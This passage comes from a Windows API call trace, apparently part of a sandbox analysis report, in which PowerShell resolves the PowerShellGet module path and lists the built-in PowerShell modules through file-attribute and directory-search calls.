(x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0204.839] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0204.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e910) returned 1 [0204.839] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2ebd4 | out: lpFileInformation=0x5a2ebd4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0204.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e90c) returned 1 [0204.840] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0204.840] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0204.840] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0204.840] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0204.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e934) returned 1 [0204.840] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x257b290 | out: lpFileInformation=0x257b290*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0204.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e930) returned 1 [0204.841] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0204.841] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0204.841] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0204.841] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0204.842] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0204.842] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0204.852] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0204.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebbc) returned 1 [0204.853] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0204.853] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x33, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", lpFilePart=0x0) returned 0x32 [0204.853] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\*", lpFindFileData=0x5a2e96c | out: lpFindFileData=0x5a2e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5bb8370 [0204.854] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0204.854] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer", cAlternateFileName="BITSTR~1")) returned 1 [0204.854] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets", cAlternateFileName="CIMCMD~1")) returned 1 [0204.854] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISE", cAlternateFileName="")) returned 1 [0204.854] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive", cAlternateFileName="MICROS~1.ARC")) returned 1 [0204.854] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0204.854] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host", cAlternateFileName="MICROS~1.HOS")) returned 1 [0204.854] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management", cAlternateFileName="MICROS~1.MAN")) returned 1 [0204.854] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils", cAlternateFileName="MICROS~1.ODA")) returned 1 [0204.855] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security", cAlternateFileName="MICROS~1.SEC")) returned 1 [0204.855] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility", cAlternateFileName="MICROS~1.UTI")) returned 1 [0204.855] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management", cAlternateFileName="MICROS~2.MAN")) returned 1 [0204.855] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDesiredStateConfiguration", cAlternateFileName="PSDESI~1")) returned 1 [0204.855] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDiagnostics", cAlternateFileName="PSDIAG~1")) returned 1 [0204.855] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSScheduledJob", cAlternateFileName="PSSCHE~1")) returned 1 [0204.855] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TroubleshootingPack", cAlternateFileName="TROUBL~1")) returned 1 [0204.855] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0204.855] FindClose (in: hFindFile=0x5bb8370 | out: hFindFile=0x5bb8370) returned 1 [0204.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e92c) returned 1 [0204.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eb8c) returned 1 [0204.855] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psd1")) returned 0xffffffff [0204.856] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psm1")) returned 0xffffffff [0204.856] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.cdxml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.cdxml")) returned 0xffffffff [0204.856] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.xaml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.xaml")) returned 0xffffffff [0204.856] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.ni.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.ni.dll")) returned 0xffffffff [0204.857] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.dll")) returned 0xffffffff [0204.857] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0204.857] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0204.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e90c) returned 1 [0204.857] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer"), fInfoLevelId=0x0, lpFileInformation=0x5a2ebd0 | out: lpFileInformation=0x5a2ebd0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0204.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e908) returned 1 [0204.857] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0204.857] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x3e, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", lpFilePart=0x0) returned 0x3d [0204.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e90c) returned 1 [0204.858] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets"), fInfoLevelId=0x0, lpFileInformation=0x5a2ebd0 | out: lpFileInformation=0x5a2ebd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0204.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e908) returned 1 [0204.858] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0204.858] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x37, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", lpFilePart=0x0) returned 0x36 [0204.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e90c) returned 1 [0204.858] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise"), fInfoLevelId=0x0, lpFileInformation=0x5a2ebd0 | out: lpFileInformation=0x5a2ebd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0204.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e908) returned 1 [0204.859] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0204.859] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x50, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", lpFilePart=0x0) returned 0x4f [0204.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e90c) returned 1 [0204.919] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive"), fInfoLevelId=0x0, lpFileInformation=0x5a2ebd0 | out: lpFileInformation=0x5a2ebd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0204.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e908) returned 1 [0204.942] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0204.942] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x54, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", lpFilePart=0x0) returned 0x53 [0204.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e90c) returned 1 [0205.033] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics"), fInfoLevelId=0x0, lpFileInformation=0x5a2ebd0 | out: lpFileInformation=0x5a2ebd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0205.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e908) returned 1 [0205.033] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0205.034] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x4d, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", lpFilePart=0x0) returned 0x4c [0205.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e90c) returned 1 [0205.034] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host"), fInfoLevelId=0x0, lpFileInformation=0x5a2ebd0 | out: lpFileInformation=0x5a2ebd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0205.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e908) returned 1 [0205.034] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0205.034] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", 